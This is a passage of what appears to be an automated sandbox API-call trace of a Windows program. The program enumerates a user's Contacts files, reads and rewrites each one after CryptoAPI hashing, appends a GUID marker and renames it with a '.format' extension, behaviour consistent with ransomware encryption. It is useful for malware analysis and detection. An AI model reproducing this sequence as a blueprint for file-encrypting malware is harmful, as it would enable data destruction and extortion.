(dwErrCode=0x0) [0066.978] GetLastError () returned 0x0 [0066.978] SetLastError (dwErrCode=0x0) [0066.978] GetLastError () returned 0x0 [0066.978] SetLastError (dwErrCode=0x0) [0066.978] GetLastError () returned 0x0 [0066.978] SetLastError (dwErrCode=0x0) [0066.978] GetLastError () returned 0x0 [0066.978] SetLastError (dwErrCode=0x0) [0066.978] GetLastError () returned 0x0 [0066.978] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.979] GetLastError () returned 0x0 [0066.979] SetLastError (dwErrCode=0x0) [0066.980] GetLastError () returned 0x0 [0066.980] SetLastError (dwErrCode=0x0) [0066.980] GetLastError () returned 0x0 [0066.980] SetLastError (dwErrCode=0x0) [0066.980] GetLastError () returned 0x0 [0066.980] SetLastError (dwErrCode=0x0) [0066.980] GetLastError () returned 0x0 [0066.980] SetLastError (dwErrCode=0x0) [0066.980] GetLastError () returned 0x0 [0066.980] SetLastError (dwErrCode=0x0) [0066.980] GetLastError () returned 0x0 [0066.980] SetLastError (dwErrCode=0x0) [0066.980] GetLastError () returned 0x0 [0066.980] SetLastError (dwErrCode=0x0) [0066.980] GetLastError () returned 0x0 [0066.980] SetLastError (dwErrCode=0x0) [0066.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0066.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0066.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31596d0 | out: hHeap=0x5d0000) returned 1 [0066.980] CryptDestroyHash (hHash=0x31befa0) returned 1 [0066.980] CryptReleaseContext (hProv=0x6ac458, dwFlags=0x0) returned 1 [0066.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0066.980] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x4a0) returned 0x3289700 [0066.980] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0066.980] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0066.980] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x491, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb24*=0x491, lpOverlapped=0x0) returned 1 [0066.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0066.981] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x496, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d5b0 [0066.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0066.981] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0066.981] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0066.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0066.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d5b0 | out: hHeap=0x5d0000) returned 1 [0066.981] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0066.981] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0066.981] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0066.981] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0066.981] CloseHandle (hObject=0x5c8) returned 1 [0066.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0066.982] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0066.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0066.982] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\lulcit amkdfe.contact.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\lulcit amkdfe.contact.format")) returned 1 [0066.982] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.982] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0066.983] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 1 [0066.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.983] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0066.983] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.983] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact") returned=".contact" [0066.983] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0066.984] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=1172) returned 1 [0066.984] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0066.987] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x46e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.987] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0066.988] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0066.988] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0066.988] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0066.988] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x494, lpOverlapped=0x0) returned 1 [0066.988] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.988] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0066.988] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.988] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0066.988] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac458) returned 1 [0066.989] CryptCreateHash (in: hProv=0x6ac458, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0066.989] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0066.989] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0066.989] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0066.989] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0066.989] GetLastError () returned 0x0 [0066.989] SetLastError (dwErrCode=0x0) [0066.989] GetLastError () returned 0x0 [0066.989] SetLastError (dwErrCode=0x0) [0066.989] GetLastError () returned 0x0 [0066.989] SetLastError (dwErrCode=0x0) [0066.989] GetLastError () returned 0x0 [0066.989] SetLastError (dwErrCode=0x0) [0066.989] GetLastError () returned 0x0 [0066.989] SetLastError (dwErrCode=0x0) [0066.989] GetLastError () returned 0x0 [0066.989] SetLastError (dwErrCode=0x0) [0066.989] GetLastError () returned 0x0 [0066.989] SetLastError (dwErrCode=0x0) [0066.989] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.990] GetLastError () returned 0x0 [0066.990] SetLastError (dwErrCode=0x0) [0066.991] GetLastError () returned 0x0 [0066.991] SetLastError (dwErrCode=0x0) [0066.991] GetLastError () returned 0x0 [0066.991] SetLastError (dwErrCode=0x0) [0066.991] GetLastError () returned 0x0 [0066.991] SetLastError (dwErrCode=0x0) [0066.991] GetLastError () returned 0x0 [0066.991] SetLastError (dwErrCode=0x0) [0066.991] GetLastError () returned 0x0 [0066.991] SetLastError (dwErrCode=0x0) [0066.991] GetLastError () returned 0x0 [0066.991] SetLastError (dwErrCode=0x0) [0066.991] GetLastError () returned 0x0 [0066.991] SetLastError (dwErrCode=0x0) [0066.991] GetLastError () returned 0x0 [0066.991] SetLastError (dwErrCode=0x0) [0066.991] GetLastError () returned 0x0 [0066.991] SetLastError (dwErrCode=0x0) [0066.991] GetLastError () returned 0x0 [0066.991] SetLastError (dwErrCode=0x0) [0066.991] GetLastError () returned 0x0 [0066.991] SetLastError (dwErrCode=0x0) [0066.991] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183190 [0066.991] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0066.991] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31596d0 | out: hHeap=0x5d0000) returned 1 [0066.991] CryptDestroyHash (hHash=0x31befa0) returned 1 [0066.991] CryptReleaseContext (hProv=0x6ac458, dwFlags=0x0) returned 1 [0066.991] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0066.991] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x490) returned 0x3289700 [0066.991] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0066.991] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183190 | out: hHeap=0x5d0000) returned 1 [0066.991] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x48f, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb24*=0x48f, lpOverlapped=0x0) returned 1 [0066.992] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0066.992] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.992] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327d5b0 [0066.992] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3178120 [0066.992] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3178120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0066.992] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x3289700 [0066.992] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178120 | out: hHeap=0x5d0000) returned 1 [0066.992] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327d5b0 | out: hHeap=0x5d0000) returned 1 [0066.992] WriteFile (in: hFile=0x5c8, lpBuffer=0x3289700*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x3289700*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0066.992] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0066.992] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0066.992] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0066.992] CloseHandle (hObject=0x5c8) returned 1 [0066.993] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0066.993] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x890) returned 0x3178dd8 [0066.993] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0066.993] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.format")) returned 1 [0066.993] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.993] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0066.994] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0066.994] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0066.994] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325d340 | out: hHeap=0x5d0000) returned 1 [0066.995] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325d340 [0066.995] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.995] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.995] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.996] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.996] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.997] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325e2b8 | out: hHeap=0x5d0000) returned 1 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325e2b8 [0066.997] RtlAllocateHeap (HeapHandle=0x5d0000, 